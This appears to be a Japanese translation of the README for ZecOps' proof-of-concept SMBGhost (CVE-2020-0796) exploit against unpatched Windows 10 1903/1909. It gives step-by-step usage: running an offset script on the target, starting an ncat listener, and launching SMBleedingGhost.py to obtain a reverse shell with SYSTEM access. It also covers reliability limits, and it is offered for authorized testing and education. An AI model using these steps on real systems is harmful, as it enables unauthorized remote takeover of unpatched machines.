
概念実証のリモートコード実行エクスプロイト for CVE-2020-0796 (SMBGhost) で、パッチ未適用のWindows 10 1903/1909を標的としています。SMBプロトコルの脆弱性を介してリバースシェルを提供します。許可されたテストおよび教育目的を意図しています。
(c) 2020 ZecOps, Inc. - https://www.zecops.com - 攻撃者のミスを見つける
CVE-2020-0796 / "SMBGhost" のリモートコード実行 POC
期待される結果: システムアクセスを伴うリバースシェル。
企業環境での教育およびテスト目的のみを意図しています。
ZecOps は本コードについて一切の責任を負いません。ご自身の責任でご使用ください。
SMBGhost やその他の攻撃を自動的に検出するための、サーバー、エンドポイント、モバイルデバイス向けのエージェントレス DFIR ツールにご興味があれば、[email protected] までお問い合わせください。
Python と ncat がインストールされていることを確認してください。
対象のコンピューターで calc_target_offsets.bat を実行し、スクリプトの出力に従って SMBleedingGhost.py ファイルの先頭にあるオフセットを調整します(以下の注も参照)。
ncat を以下のコマンドライン引数で実行します:
ncat -lvp <port>
ここで <port> は ncat が待ち受けるポート番号です。
SMBleedingGhost.py を以下のコマンドライン引数で実行します:
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
ここで <target_ip> は対象の脆弱なコンピューターの IP アドレスです。<reverse_shell_ip> と <reverse_shell_port> は ncat が待ち受ける IP アドレスとポート番号です。
すべてがうまくいけば、ncat は対象コンピューターへのシステムアクセスを提供するシェルを表示します。
注: なぜ対象のコンピューターで calc_target_offsets.bat スクリプトを実行する必要があるのか、そしてそれがリモートコード実行がリモートであるという本来の目的を損なってはいないのか、疑問に思われるかもしれません。これらのオフセットはランダムではなく、同じ Windows バージョンのすべての Windows インスタンスで同じです。対象の Windows バージョンを検出してオフセットを自動調整するか、あるいはオフセットにまったく依存しないようにすることで、攻撃をより汎用的にすることも可能ですが、これはあくまで POC であり、より簡単な方法を選択しました。また、この POC が汎用的ではなく、テストや教育以外の用途には不便であることは良いことだと考えています。

Windows 10 バージョン 1903 および 1909 が影響を受けます。パッチ未適用の Windows 10 1903 バージョンは、Windows の null 参照解除バグ(KB4512941 で修正)のためサポートされていません。
エクスプロイトの性質上、この POC は単一の論理プロセッサを搭載したコンピューター(または VM)上で動作するターゲットに最適です。VirtualBox で実行されている複数の論理プロセッサを持つターゲットもサポートされるはずですが、その場合 POC の信頼性は低くなります。その他のターゲットはサポートされない可能性があります。詳細については、以下のテクニカルライトアップを参照してください。